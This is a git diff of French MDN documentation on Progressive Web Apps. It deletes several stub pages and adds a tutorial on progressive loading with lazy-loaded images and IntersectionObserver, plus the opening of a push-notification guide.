-
- -

Ils seront téléchargés et exécutés après que le document lui-même a été analys"si bien qu'il ne bloquera pas le rendu de la structure HTML. Nous pouvons également éclater les fichiers css et leur ajouter des types de media:

- -
<link rel="stylesheet" href="style.css">
-<link rel="stylesheet" href="print.css" media="print">
-
- -

Ceci indiquera le navigateur de ne les télécharger que si la condition est remplie.

- -

Dans notre application de démonstration js13kPWA, le CSS est suffisamment simple pour tout laisser dans un seul fichier sans règle spécifique sur la façon de les charger. Nous pourrions même aller plus loin et déplacer tout ce qui se trouve dans style.css dans la balise <style> dans le <head> de index.html — ceci améliorerait encore plus la performance mais pour la lisibilité de l'exemple, nous nous passerons aussi de cette approche.

- -

Images

- -

En plus du JavaScript et du CSS, les sites web contiendront certainement un certain nombre d'images. Quand vous incluez des éléments {{htmlelement("img")}} dans votre HTML, chaque image référencée est alors recherchée et téléchargée lors de l'accès initial au site web. Il n'est pas inhabituel d'avoir des mégaoctets de données d'images à télécharger avant d'annoncer que le site est prêt, mais ceci, une nouvelle fois, crée une mauvaise perception de performance. Nous n'avons pas besoin de toutes les images dans la meilleure qualité possible au tout début de la consultation du site.

- -

Ceci peut être optimisé. Tout d'abord, vous devriez utiliser des outils ou des services tels que TinyPNG qui réduit la taille de fichier de vos images sans trop en altérer la qualité. Si vous avez dépassé ce stade, vous pouvez alors commencer à penser à optimiser le chargement des images en utilisant JavaScript. Nous expliquerons cela plus loin.

- -

Image conteneur

- -

Plutôt que d'avoir toutes les captures d'écran des jeux référencés dans les attributs src des éléments <img>, ce qui forcera le navigateur à les télécharger automatiquement, nous pouvons le faire de manière sélective via JavaScript. L'application js13kPWA utilise à la place une image conteneur qui est petite et légère tandis que les chemins d'accès définitifs vers les images cibles sont stockées dans les attributs data-src:

- -
<img src='data/img/placeholder.png' data-src='data/img/SLUG.jpg' alt='NAME'>
-
- -

Ces images seront téléchargées via JavaScript après que le site aura fini de construire la structure HTML. L'image conteneur est dimensionnée de la même façon que les images originales le sont, si bien qu'elle occupera le même espace et n'obligera pas le navigateur à redessiner l'agencement quand les images sont téléchargées.

- -

Chargement via JavaScript

- -

Le fichier app.js traite les attributs data-src comme ceci:

- -
let imagesToLoad = document.querySelectorAll('img[data-src]');
-const loadImages = (image) => {
-  image.setAttribute('src', image.getAttribute('data-src'));
-  image.onload = () => {
-    image.removeAttribute('data-src');
-  };
-};
- -

La variable imagesToLoad contient des références à toutes les images, tandis que la fonction loadImages déplace le chemin d'accès de data-src à src. Quand toutes les images sont effectivement téléchargées, nous supprimons leur attribut data-src attendu qu'ls ne sont désormais plus nécessaires. Ensuite, nous bouclons sur chacune des images et nous la chargeons:

- -
imagesToLoad.forEach((img) => {
-  loadImages(img);
-});
- -

Flou en CSS

- -

Pour rendre le processus visuellement plus attractif, le conteneur est flouté via CSS.

- -

Screenshot of placeholder images in the js13kPWA app.

- -

Nous générons les images avec un flou au début si bien qu'une transition vers la version précise peut être réalkisée:

- -
article img[data-src] {
-  filter: blur(0.2em);
-}
-
-article img {
-  filter: blur(0em);
-  transition: filter 0.5s;
-}
- -

Ceci supprimera l'effet de flou en une demie seconde, ce qui paraît assez bien pour l'effet de "chargement".

- -

Chargement à la demande

- -

Le mécanisme de chargement des images présenté dans la section précédente fonctionne correctement — il charge les imges après que la structure HTML a été générée et applique un joli effet de transition au processus. Le problème est qu'il télécharge toujours toutes les images en une fois, même si l'utilisateur ne verra que les deux ou trois premières au chargement de la page.

- -

Ce problème peut être résolu avec la nouvelle API Intersection Observer — en l'utilisant, nous pouvons nous assurer que les images ne seront téléchargées que lorsqu'elles apparaissent dans le viewport.

- -

Intersection Observer

- -

Ceci est une amélioration progressive à l'exemple fonctionnel précédent — Intersection Observer téléchargera les images cibles seulement quand l'utilisateur fait défiler la page vers le bas, provoquant leur affichage dans le viewport.

- -

Voici à quoi le code correspondant ressemble:

- -
if('IntersectionObserver' in window) {
-  const observer = new IntersectionObserver((items, observer) => {
-    items.forEach((item) => {
-      if(item.isIntersecting) {
-        loadImages(item.target);
-        observer.unobserve(item.target);
-      }
-    });
-  });
-  imagesToLoad.forEach((img) => {
-    observer.observe(img);
-  });
-} else {
-  imagesToLoad.forEach((img) => {
-    loadImages(img);
-  });
-}
- -

Si l'objet {{domxref("IntersectionObserver")}} est pris en charge, l'application en crée une nouvelle instance. La fonction passée en paramètre gère le cas où un ou plusieurs objets ont une intersection avec l'observer (i.e. apparaît à l'intérieur du viewport). Nous pouvons itérer sur chaque cas et réagir en conséquence — quand l'image est visible, nous chargeons l'image correcte et nous arrêtons de l'observer vu que nous n'avons désormais plus le faire.

- -

Répétons notre avertissement précédent concernant l'amélioration progressive — le code est écrit de telle sorte que l'application fonctionnera que l'Intersection Observer soit pris en charge ou pas. S'il ne l'est pas, nous chargeons simplement les images en utilisant une approche plus basique présentée précédemment.

- -

Améliorations

- -

Rappelez-vous qu'il y a de nombreuses façons d'optimiser les temps de chargement et cet exemple explore seulement l'une d'elles. Vous pourriez essayer de blinder davantage votre application en lui permettant de fonctionner sans JavaScript — soit en utilisant {{htmlelement("noscript")}} pour afficher l'image avec le src final déjà renseigné ou en enrobant les balises <img> avec des éléments {{htmlelement("a")}} pointant vers les images cibles de telle sorte que l'utilisateur puisse cliquer pour y accéder quand il le souhaite.

- -

Nous ne le ferons pas car l'application elle-même dépend de JavaScript — sans lui, la liste des jeux ne sera même pas chargée et le code du Service Worker ne s'exécutera pas.

- -

Nous pourrions réécrire le processus de chargement  pour charger non seulement les images mais aussi les éléments complets composés des descriptions complètes et des liens. Cela fonctionnerait comme un défilement infini — charger les éléments de la liste seulement quand l'utilisateur fait défiler la page vers le bas. De cette façon, la structure HTML initiale sera minimale, le temps de chargement encore plus court et nous aurions des bénéfices de performance encore meilleurs.

- -

Conclusion

- -

Moins de fichiers à charger initialement, de plus petits fichiers répartis en modules, l'utilisation de conteneurs de placement et le chargement de davantage de contenu à la demande — ceci aidera à obtenir des temps de chargement initiaux plus rapides, ce qui profite au créateur de l'application et offre une expérience plus fluide à l'utilisateur.

- -

Rappelez-vous de ce que nous avons dit concernant l'approche d'amélioration progressive — offrir un produit utilisable quel que soit l'appareil ou la plateforme, mais s'assurer d'enrichir l'expérience pour ceux qui utilisent des navigateurs modernes.

- -

Dernières réflexions

- -

C'est fini pour ces séries de tutoriels — nous avons examiné le code source code de l'exemple d'application js13kPWA et nous avons appris à utiliser les fonctionnalités progressives des applications web en commençant par une Introduction, la structure des PWA, la disponibilité en mode déconnectégrâce aux Service Workers, les PWAs installable et finalement les notifications. Nous avons également expliqué le mode push avec l'aide du Service Worker Cookbook. Et dans cet article, nous avons abordé le concept de chargement progressif incluant un exemple intéressant utilisant l'API ntersection Observer.

- -

N'hésitez pas à faire des essais avec le code, à améliorer votre application existante avec des des fonctionnalités PWA ou à bâtir quelque chose d'entièrement nouveau de vous même. Les PWAs amènent un énorme avantage sur les applications web classiques.

- -

{{PreviousMenu("Web/Progressive_web_apps/Re-engageable_Notifications_Push", "Web/Progressive_web_apps")}}

- -

{{QuickLinksWithSubpages("/en-US/docs/Web/Progressive_web_apps/")}}

diff --git a/files/fr/web/progressive_web_apps/identifiable/index.html b/files/fr/web/progressive_web_apps/identifiable/index.html deleted file mode 100644 index 3bea56aaa7..0000000000 --- a/files/fr/web/progressive_web_apps/identifiable/index.html +++ /dev/null @@ -1,60 +0,0 @@ ---- -title: Identifiable -slug: Web/Progressive_web_apps/Identifiable -tags: - - Applications - - Identifiable - - Manifeste - - Manifeste Web -translation_of: Web/Progressive_web_apps -translation_of_original: Web/Progressive_web_apps/Discoverable ---- -
-
Dès lors que vous publiez une application web, vous voulez que le monde le sache. Les moteurs de recherche le font, mais souvent on souhaite plus de contrôle sur comment l'application sera affichée dans les résultats de la recherche. Le nouveau manifeste du W3C pour les applications web peut aider à cela, ainsi que pour d'autres fonctionnalités.
- -
-
- -

Objectifs éventuels des applications web:

- -
    -
  • Être mieux représenté dans les moteurs de recherche
    • -
  • Être facile à exposer, dans un catalogue ou un classement
    • -
  • Avoir des méta-données (metadata) utilisables par le navigateur pour leur donner des capacités spéciales
    • -
- -

Guides

- -

Aucun document actuellement; les contributions sont les bienvenues.

- -

Technologies

- - - - - - - - - - - - - - - - - - -
TechnologieDescriptionRésumé du supportDernière spécification
Manifeste des applications webDéfinit les fonctions  d'une application web comme son nom, une icône, un écran de lancement et un thème de couleur, pour une utilisation dans un contexte comme l'affichage sur une liste d'applications ou sur l'écran d'accueil de l'appareil.Expérimental, supporté dans Chrome, support limité dans Firefox (plus de détails){{SpecName('Manifest')}}
- -

Outils

- -

Ajouter un lien vers un outils ou une bibliothèque utile.

- -

Voir aussi

- -
-
Open Graph
-
Un standard, defacto, fournissant un format pour spécifier des méta-données similaires dans la balise HTML <head> en utilisant les meta tags. Supporté par Facebook et d'autres domaines.
-
diff --git a/files/fr/web/progressive_web_apps/independante_du_reseau/index.html b/files/fr/web/progressive_web_apps/independante_du_reseau/index.html deleted file mode 100644 index 52bcf0a121..0000000000 --- a/files/fr/web/progressive_web_apps/independante_du_reseau/index.html +++ /dev/null @@ -1,95 +0,0 @@ ---- -title: Indépendante du réseau -slug: Web/Progressive_web_apps/Independante_du_reseau -tags: - - App shell - - Applications - - IndexedDB - - Indépendante du réseau - - Service Workers - - hors-ligne - - localStorage -translation_of: Web/Progressive_web_apps -translation_of_original: Web/Progressive_web_apps/Network_independent ---- -
-
Les applications web modernes peuvent fonctionner quand le réseau n'est pas fiable, ou même inexistant. Terminé les pages blanches d'erreur de connexion ou les dinosaures qui courent dans le désert. Une séparation claire entre l'affichage (UI) et le contenu ainsi qu'un cache hors-ligne et des services workers, vous permettent de stocker les données de l'application et ses dépendances pour les futures utilisations.
- -
-
- -

Les concepts de base, concernant l'indépendance au réseau, c'est la capacité de :

- -
    -
  • Re-visiter un site et accèder à son contenu même quand le réseau n'est pas disponible.
    • -
  • Naviguer dans tout type de contenu que l'utilisateur a visité au moins une fois auparavant, même dans une situation comme une mauvaise connectivité.
    • -
  • Contrôler ce qui est affiché à l'utilisateur dans les cas d'absence de connexion.
    • -
- -

Guides

- -
-
Utiliser les service workers
-
Un guide simple pour débutant à l'API Service Worker.
-
Utiliser IndexedDB
-
Les bases concernant IndexedDB, expliquées en détails.
-
Utiliser l'API Web Storage
-
L'API Web Storage en toute simplicité.
-
Chargement rapide des applications web avec l'architecture App Shell
-
Un guide pour utiliser le coding pattern App Shell pour créer des applications qui se chargent rapidement.
-
- -

Technologies

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
TechnologieDescriptionRésumé du supportDernière spécification
Service workersJavaScript fonctionne dans un contexte de travail particulier qui est lancé par le navigateur dans certaines circonstances comme la récupération (fetch) et l'envoi (push) d'évènements. Ceci permet au service worker d'intercepter des réponses et de les personnaliser, de toute les façons que vous le souhaitez, par exemple mettre en cache des ressources pour un usage hors-ligne avant qu'elle ne soit servies.Expérimental : Chrome et Firefox (plus de détails){{SpecName('Service Workers')}}
IndexedDBUn système de base de données transactionnelle qui permet un stockage complexe de données coté client, contrôlable par JavaScript.Répandu dans les navigateurs modernes (plus de détails){{SpecName('IndexedDB')}}
Web StorageUne API simple de stockage de clé/valeurs côté client.Répandu (plus de détails){{SpecName('Web Storage')}}
- -

Outils

- -
-
localForage
-
Une simple petite bibliothèque Javascript pour rendre vraiment simple la création d'un stockage de données côté client ; utilise par défaut IndexedDB, et se tourne vers Web SQL/Web Storage si nécessaire.
-
ServiceWorkerWare
-
Un micro-framework similaire à Express pour le développement simple d'un service worker.
-
oghliner
-
Pas seulement un template mais un outil permettant de déployer des applications web hors-ligne sur GitHub Pages.
-
sw-precache
-
Un module Node pour générer le code d'un service worker qui va mettre en pré-cache des ressources spécifiques.
-
upup
-
Un petit script qui vous assure que votre site est toujours présent pour vos utilisateurs.
-
- -

Voir aussi

- -
-
The service worker cookbook
-
Une série de très bonnes ressources concernant les services workers, montrant comment implémenter une application web hors-ligne, et plus encore.
-
diff --git a/files/fr/web/progressive_web_apps/installable/index.html b/files/fr/web/progressive_web_apps/installable/index.html deleted file mode 100644 index 1692b10b1d..0000000000 --- a/files/fr/web/progressive_web_apps/installable/index.html +++ /dev/null @@ -1,48 +0,0 @@ ---- -title: Installable -slug: Web/Progressive_web_apps/Installable -tags: - - Applications - - Installable - - Manifeste -translation_of: Web/Progressive_web_apps -translation_of_original: Web/Progressive_web_apps/Installable ---- -
-
Une partie basique de l'expérience avec l'application, pour un utilisateur, est d'avoir l'icône sur l'écran d'accueil et être capable de l'ouvrir dans son propre conteneur avec une bonne intégration avec la plateforme système sous-jacente. Les applications web modernes peuvent avoir ce sentiment d'application native.
- -
-
- -

Guides

- -

Aucun document actuellement; les contributions sont les bienvenues.

- -

Technologies

- - - - - - - - - - - - - - - - - - -
TechnologieDescriptionRésumé du supportDernière spécification
Manifeste des applications webDéfinit les fonctions  d'une application web comme son nom, une icône, un écran de lancement et un thème de couleur, pour une utilisation dans un contexte comme l'affichage sur une liste d'applications ou sur l'écran d'accueil de l'appareil.Expérimental, supporté dans Chrome, support limité dans Firefox (plus de détails){{SpecName('Manifest')}}
- -

Outils

- -

Ajouter un lien vers un outils ou une bibliothèque utile.

- -

Voir aussi

- -

Ajouter un lien vers des informations liées.

diff --git a/files/fr/web/progressive_web_apps/loading/index.html b/files/fr/web/progressive_web_apps/loading/index.html new file mode 100644 index 0000000000..72ce203f4f --- /dev/null +++ b/files/fr/web/progressive_web_apps/loading/index.html @@ -0,0 +1,151 @@ +--- +title: Chargement progressif +slug: Web/Progressive_web_apps/Chargement +tags: + - Chargement +translation_of: Web/Progressive_web_apps/Loading +--- +
{{PreviousMenu("Web/Progressive_web_apps/Re-engageable_Notifications_Push", "Web/Progressive_web_apps")}}
+ +

Dans les articles précédents, nous avons abordé les APIs qui nous aident à faire de notre exemple js13kPWA une Progressive Web App: Service Workers, Manifestes Web, Notifications et Push. Dans cet article, nous irons encore plus loin et améliorerons la performance de l'application en téléchargeant progessivement ses ressources.

+ +

Première visualisation signifiante

+ +

Il est important de fournir quelque chose qui ait du sens pour l'utilisateur dès que possible  — plus il attend que la page se charge, plus il y a de chances qu'il s'en aille plutôt que d'attendre que tout soit fini. Nous devrions être capable de lui montrer au moins une vue basique de la page qu'il veut voir avec des emplacements où du contenu supplémentaire sera chargé à un moment donné.

+ +

Ceci peut être réalisé grâce au chargement progressif — également appelé Lazy loading. Tout ceci consiste en retardant autant que possible le plus de ressources que possible (HTML, CSS, JavaScript), et ne charger immédiatement que celles qui sont réellement nécessaire pour la toute première expérience.

+ +

Mise en paquet versus éclatement

+ +

De nombreux visiteurs ne naviguerons pas sur la totalité des pages d'un site web bien que l'approche habituelle consiste à mettre dans un paquet toutes les fonctionnalités que nous avons dans un seul gros fichier. Un fichier bundle.js peut peser plusieurs megaoctets et un unique paquet style.css peut tout contenir, depuis les définitions de base des structures CSS à tous les styles possibles de toutes les versions d'un site: mobile, tablette, ordinateur de bureau, pour l'impression, etc.

+ +

Il est plus rapide de télécharger toutes les informations sous la forme d'un unique fichier plutôt que beaucoup de petits, mais si l'utilisateur n'a pas besoin de tout au tout début, nous pourrions ne télécharger que ce qui est crucial puis gérer les autres ressources quand elles sont nécessaires.

+ +

Render-blocking resources

+ +

Créer des paquets est un problème car le navigateur doit charger le HTML, le CSS et le JavaScript avant qu'il ne puisse afficher le rendu du résultat à l'écran. Pendant les quelques secondes séparant l'accès l'initial au site web et la fin du téléchargement, l'utilisateur voit une page blanche ce qui est une mauvaise expérience.

+ +

Pour corriger ça, nous pouvons, par exemple, ajouter defer aux fichiers JavaScript:

+ +
<script src="app.js" defer></script>
+
+ +

Ils seront téléchargés et exécutés après que le document lui-même a été analys"si bien qu'il ne bloquera pas le rendu de la structure HTML. Nous pouvons également éclater les fichiers css et leur ajouter des types de media:

+ +
<link rel="stylesheet" href="style.css">
+<link rel="stylesheet" href="print.css" media="print">
+
+ +

Ceci indiquera le navigateur de ne les télécharger que si la condition est remplie.

+ +

Dans notre application de démonstration js13kPWA, le CSS est suffisamment simple pour tout laisser dans un seul fichier sans règle spécifique sur la façon de les charger. Nous pourrions même aller plus loin et déplacer tout ce qui se trouve dans style.css dans la balise <style> dans le <head> de index.html — ceci améliorerait encore plus la performance mais pour la lisibilité de l'exemple, nous nous passerons aussi de cette approche.

+ +

Images

+ +

En plus du JavaScript et du CSS, les sites web contiendront certainement un certain nombre d'images. Quand vous incluez des éléments {{htmlelement("img")}} dans votre HTML, chaque image référencée est alors recherchée et téléchargée lors de l'accès initial au site web. Il n'est pas inhabituel d'avoir des mégaoctets de données d'images à télécharger avant d'annoncer que le site est prêt, mais ceci, une nouvelle fois, crée une mauvaise perception de performance. Nous n'avons pas besoin de toutes les images dans la meilleure qualité possible au tout début de la consultation du site.

+ +

Ceci peut être optimisé. Tout d'abord, vous devriez utiliser des outils ou des services tels que TinyPNG qui réduit la taille de fichier de vos images sans trop en altérer la qualité. Si vous avez dépassé ce stade, vous pouvez alors commencer à penser à optimiser le chargement des images en utilisant JavaScript. Nous expliquerons cela plus loin.

+ +

Image conteneur

+ +

Plutôt que d'avoir toutes les captures d'écran des jeux référencés dans les attributs src des éléments <img>, ce qui forcera le navigateur à les télécharger automatiquement, nous pouvons le faire de manière sélective via JavaScript. L'application js13kPWA utilise à la place une image conteneur qui est petite et légère tandis que les chemins d'accès définitifs vers les images cibles sont stockées dans les attributs data-src:

+ +
<img src='data/img/placeholder.png' data-src='data/img/SLUG.jpg' alt='NAME'>
+
+ +

Ces images seront téléchargées via JavaScript après que le site aura fini de construire la structure HTML. L'image conteneur est dimensionnée de la même façon que les images originales le sont, si bien qu'elle occupera le même espace et n'obligera pas le navigateur à redessiner l'agencement quand les images sont téléchargées.

+ +

Chargement via JavaScript

+ +

Le fichier app.js traite les attributs data-src comme ceci:

+ +
let imagesToLoad = document.querySelectorAll('img[data-src]');
+const loadImages = (image) => {
+  image.setAttribute('src', image.getAttribute('data-src'));
+  image.onload = () => {
+    image.removeAttribute('data-src');
+  };
+};
+ +

La variable imagesToLoad contient des références à toutes les images, tandis que la fonction loadImages déplace le chemin d'accès de data-src à src. Quand toutes les images sont effectivement téléchargées, nous supprimons leur attribut data-src attendu qu'ls ne sont désormais plus nécessaires. Ensuite, nous bouclons sur chacune des images et nous la chargeons:

+ +
imagesToLoad.forEach((img) => {
+  loadImages(img);
+});
+ +

Flou en CSS

+ +

Pour rendre le processus visuellement plus attractif, le conteneur est flouté via CSS.

+ +

Screenshot of placeholder images in the js13kPWA app.

+ +

Nous générons les images avec un flou au début si bien qu'une transition vers la version précise peut être réalkisée:

+ +
article img[data-src] {
+  filter: blur(0.2em);
+}
+
+article img {
+  filter: blur(0em);
+  transition: filter 0.5s;
+}
+ +

Ceci supprimera l'effet de flou en une demie seconde, ce qui paraît assez bien pour l'effet de "chargement".

+ +

Chargement à la demande

+ +

Le mécanisme de chargement des images présenté dans la section précédente fonctionne correctement — il charge les imges après que la structure HTML a été générée et applique un joli effet de transition au processus. Le problème est qu'il télécharge toujours toutes les images en une fois, même si l'utilisateur ne verra que les deux ou trois premières au chargement de la page.

+ +

Ce problème peut être résolu avec la nouvelle API Intersection Observer — en l'utilisant, nous pouvons nous assurer que les images ne seront téléchargées que lorsqu'elles apparaissent dans le viewport.

+ +

Intersection Observer

+ +

Ceci est une amélioration progressive à l'exemple fonctionnel précédent — Intersection Observer téléchargera les images cibles seulement quand l'utilisateur fait défiler la page vers le bas, provoquant leur affichage dans le viewport.

+ +

Voici à quoi le code correspondant ressemble:

+ +
if('IntersectionObserver' in window) {
+  const observer = new IntersectionObserver((items, observer) => {
+    items.forEach((item) => {
+      if(item.isIntersecting) {
+        loadImages(item.target);
+        observer.unobserve(item.target);
+      }
+    });
+  });
+  imagesToLoad.forEach((img) => {
+    observer.observe(img);
+  });
+} else {
+  imagesToLoad.forEach((img) => {
+    loadImages(img);
+  });
+}
+ +

Si l'objet {{domxref("IntersectionObserver")}} est pris en charge, l'application en crée une nouvelle instance. La fonction passée en paramètre gère le cas où un ou plusieurs objets ont une intersection avec l'observer (i.e. apparaît à l'intérieur du viewport). Nous pouvons itérer sur chaque cas et réagir en conséquence — quand l'image est visible, nous chargeons l'image correcte et nous arrêtons de l'observer vu que nous n'avons désormais plus le faire.

+ +

Répétons notre avertissement précédent concernant l'amélioration progressive — le code est écrit de telle sorte que l'application fonctionnera que l'Intersection Observer soit pris en charge ou pas. S'il ne l'est pas, nous chargeons simplement les images en utilisant une approche plus basique présentée précédemment.

+ +

Améliorations

+ +

Rappelez-vous qu'il y a de nombreuses façons d'optimiser les temps de chargement et cet exemple explore seulement l'une d'elles. Vous pourriez essayer de blinder davantage votre application en lui permettant de fonctionner sans JavaScript — soit en utilisant {{htmlelement("noscript")}} pour afficher l'image avec le src final déjà renseigné ou en enrobant les balises <img> avec des éléments {{htmlelement("a")}} pointant vers les images cibles de telle sorte que l'utilisateur puisse cliquer pour y accéder quand il le souhaite.

+ +

Nous ne le ferons pas car l'application elle-même dépend de JavaScript — sans lui, la liste des jeux ne sera même pas chargée et le code du Service Worker ne s'exécutera pas.

+ +

Nous pourrions réécrire le processus de chargement  pour charger non seulement les images mais aussi les éléments complets composés des descriptions complètes et des liens. Cela fonctionnerait comme un défilement infini — charger les éléments de la liste seulement quand l'utilisateur fait défiler la page vers le bas. De cette façon, la structure HTML initiale sera minimale, le temps de chargement encore plus court et nous aurions des bénéfices de performance encore meilleurs.

+ +

Conclusion

+ +

Moins de fichiers à charger initialement, de plus petits fichiers répartis en modules, l'utilisation de conteneurs de placement et le chargement de davantage de contenu à la demande — ceci aidera à obtenir des temps de chargement initiaux plus rapides, ce qui profite au créateur de l'application et offre une expérience plus fluide à l'utilisateur.

+ +

Rappelez-vous de ce que nous avons dit concernant l'approche d'amélioration progressive — offrir un produit utilisable quel que soit l'appareil ou la plateforme, mais s'assurer d'enrichir l'expérience pour ceux qui utilisent des navigateurs modernes.

+ +

Dernières réflexions

+ +

C'est fini pour ces séries de tutoriels — nous avons examiné le code source code de l'exemple d'application js13kPWA et nous avons appris à utiliser les fonctionnalités progressives des applications web en commençant par une Introduction, la structure des PWA, la disponibilité en mode déconnectégrâce aux Service Workers, les PWAs installable et finalement les notifications. Nous avons également expliqué le mode push avec l'aide du Service Worker Cookbook. Et dans cet article, nous avons abordé le concept de chargement progressif incluant un exemple intéressant utilisant l'API ntersection Observer.

+ +

N'hésitez pas à faire des essais avec le code, à améliorer votre application existante avec des des fonctionnalités PWA ou à bâtir quelque chose d'entièrement nouveau de vous même. Les PWAs amènent un énorme avantage sur les applications web classiques.

+ +

{{PreviousMenu("Web/Progressive_web_apps/Re-engageable_Notifications_Push", "Web/Progressive_web_apps")}}

+ +

{{QuickLinksWithSubpages("/en-US/docs/Web/Progressive_web_apps/")}}

diff --git a/files/fr/web/progressive_web_apps/partageable/index.html b/files/fr/web/progressive_web_apps/partageable/index.html deleted file mode 100644 index 98ad67f276..0000000000 --- a/files/fr/web/progressive_web_apps/partageable/index.html +++ /dev/null @@ -1,32 +0,0 @@ ---- -title: Partageable -slug: Web/Progressive_web_apps/Partageable -tags: - - Applications - - Applications web modernes - - Applications web progressives - - Partageable -translation_of: Web/Progressive_web_apps -translation_of_original: Web/Progressive_web_apps/Linkable ---- -
-
Une des fonctions les plus puissantes du Web est d'être capable de relier une application web à un lien URL spécifique — pas besoin de plateforme d'application, pas de processus complexe d'installation. Cela a toujours été comme ça.
- -
-
- -

Guides

- -

Aucun document actuellement; les contributions sont les bienvenues.

- -

Technologies

- -

Pas besoin de nouvelle technologie - Le Web a toujours fonctionné comme ça !

- -

Outils

- -

Ajouter un lien vers un outil ou une bibliothèque utile.

- -

Voir aussi

- -

Ajouter un lien vers des informations liées.

diff --git a/files/fr/web/progressive_web_apps/progressive/index.html b/files/fr/web/progressive_web_apps/progressive/index.html deleted file mode 100644 index d4c0de5453..0000000000 --- a/files/fr/web/progressive_web_apps/progressive/index.html +++ /dev/null @@ -1,31 +0,0 @@ ---- -title: Progressive -slug: Web/Progressive_web_apps/Progressive -tags: - - Amélioration progressive - - Applications - - Design adaptatif -translation_of: Web/Progressive_web_apps -translation_of_original: Web/Progressive_web_apps/Progressive ---- -
-
Les applications web modernes peuvent être développées pour fournir une experience vraiment agréable avec les navigateurs complètement compatibles, et une expérience correcte (mais pas aussi brillante) avec les navigateurs moins aptes. Nous avons fait cela pendant des années avec de bonnes pratiques comme l'amélioration progressive, donc gardons cette bonne manière de faire les choses.
- -
-
- -

GuidesEdit

- -

Aucun document actuellement; les contributions sont les bienvenues.

- -

TechnologiesEdit

- -

Pas besoin de nouvelle technologie - Le Web a toujours fonctionné comme ça depuis longtemps !

- -

OutilsEdit

- -

Ajouter un lien vers un outils ou une bibliothèque utile.

- -

Voir aussiEdit

- -

Ajouter un lien vers des informations liées.

diff --git a/files/fr/web/progressive_web_apps/re-engageable/index.html b/files/fr/web/progressive_web_apps/re-engageable/index.html deleted file mode 100644 index 729faa93e9..0000000000 --- a/files/fr/web/progressive_web_apps/re-engageable/index.html +++ /dev/null @@ -1,81 +0,0 @@ ---- -title: Re-engageable -slug: Web/Progressive_web_apps/Re-engageable -tags: - - Applications - - Notifications - - Push - - Service Workers - - Web -translation_of: Web/Progressive_web_apps -translation_of_original: Web/Progressive_web_apps/Re-engageable ---- -
-
Un des principaux avantages des plateformes natives est la facilité avec laquelle les utilisateurs peuvent se retrouver de nouveaux attirés par des mises-à-jour et du nouveau contenu, même quand ils ne sont pas en train de regarder l'application ou d'utiliser leur appareil. Les applications web modernes peuvent désormais le faire aussi, en utilisant de nouvelles technologies comme l'API Web Push.
- -
-
- -

Guides

- -
-
Utiliser l'API service workers
-
Un guide simple pour débutant à l'API Service Worker.
-
Utiliser l'API Push
-
Apprendre les bases de l'API Web Push.
-
Utiliser l'API Notifications
-
Un résumé sur les notifications Web.
-
- -

Technologies

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
TechnologieDescriptionRésumé du supportDernière spécification
Service workers -

JavaScript fonctionne dans un contexte de travail particulier qui est lancé par le navigateur sous certaines circonstances comme la récupération (fetch) et l'envoi (push) d'évènements. Ceci permet au service worker d'intercepter des réponses et de les personnaliser, de toutes les façons que vous le souhaitez, par exemple mettre en cache des ressources pour un usage hors-ligne avant qu'elles ne soit servies.

- 		Expérimental: Chrome et Firefox (plus de détails){{SpecName('Service Workers')}}
API PushAprès s'être inscrit, le service Push fournit un point de terminaison utilisable par le serveur pour transmettre des messages à une application web controlée par un service worker particulier.Expérimental: chrome et Firefox (plus de détails){{SpecName("Push API")}}
API NotificationsLancer des notifications systèmes directement depuis les applications web.Répandu dans les navigateurs modernes  (plus de détails){{SpecName('Web Notifications')}}
- -

Outils

- -
-
ServiceWorkerWare
-
Un micro-framework similaire à Express pour le développement simple d'un service worker.
-
oghliner
-
Pas seulement un template mais un outil permettant de déployer des applications web hors-ligne sur GitHub Pages.
-
sw-precache
-
Un module Node pour générer le code d'un service worker qui va mettre en pré-cache des ressources spécifiques.
-
- -

Voir aussi

- -
-
The service worker cookbook
-
Une série de très bonnes ressources concernant les service worker, montrant comment implémenter une application web hors-ligne, et plus encore.
-
diff --git a/files/fr/web/progressive_web_apps/re-engageable_notifications_push/index.html b/files/fr/web/progressive_web_apps/re-engageable_notifications_push/index.html new file mode 100644 index 0000000000..e656d29cde --- /dev/null +++ b/files/fr/web/progressive_web_apps/re-engageable_notifications_push/index.html @@ -0,0 +1,245 @@ +--- +title: >- + Comment faire pour que les PWAs relancent les utilisateurs en utilisant des + notifications et des messages poussés +slug: Web/Progressive_web_apps/Relancer_Via_Notifications_Push +translation_of: Web/Progressive_web_apps/Re-engageable_Notifications_Push +--- +
{{PreviousMenuNext("Web/Apps/Progressive/Installable_PWAs", "Web/Apps/Progressive/Loading", "Web/Apps/Progressive")}}
+ +

Avoir la possibilité de mettre en cache le contenu d'une application pour travailler en mode déconnecté est une formidable fonctionnalité. Donner la possibilité à l'utilisateur d'installer l'application web sur son écran d'accueil est encore mieux. Mais plutôt que de s'en remettre seulement aux actions de l'utilisateur, nous pouvons faire plus, en utilisant des messages poussés et des notifications pour le relancer automatiquement et fournir des nouveaux contenus à chaque fois qu'ils sont disponibles.

+ +

Deux APIs, un seul but

+ +

L'API Push et l'API Notifications sont deux APIs distinctes mais elles fonctionnent bien ensemble quand vous souhaitez fournir une fonction de relance dans votre application. Push est utilisée pour délivrer un nouveau contenu à votre application depuis le serveur sans aucune intervention côté client et cette opération est gérée par le service worker de l'application. Les notifications peuvent être utilisées par le service worker pour afficher les nouvelles informations à l'utilisateur, ou, au moins, le prévenir que quelque chose a été mis à jour.

+ +

Cela s'exécute hors de la fenêtre du navigateur, juste comme les service workers, si bien que des mises à jour peuvent être poussées et des notifications peuvent être affichées quand la page de l'application n'a pas le focus voire fermée.

+ +

Notifications

+ +

Commençons avec les notifications — elles peuvent fonctionner sans push, mais sont très utiles quand elles sont combinées avec. Voyons-les de façon isolée pour commencer.

+ +

Demande de permission

+ +

Pour afficher une notification, nous devons d'abord demander la permission de le faire. Cependant, au lieu de d'afficher la notification immédiatement, une meilleure pratique consiste à n'afficher la fenêtre popup quand l'utilisateur le demande en cliquant sur un bouton:

+ +
var button = document.getElementById("notifications");
+button.addEventListener('click', function(e) {
+    Notification.requestPermission().then(function(result) {
+        if(result === 'granted') {
+            randomNotification();
+        }
+    });
+});
+ +

Ceci affiche une popup en utilisant le propre service de notification du système d'exploitation:

+ +

Notification of js13kPWA.

+ +

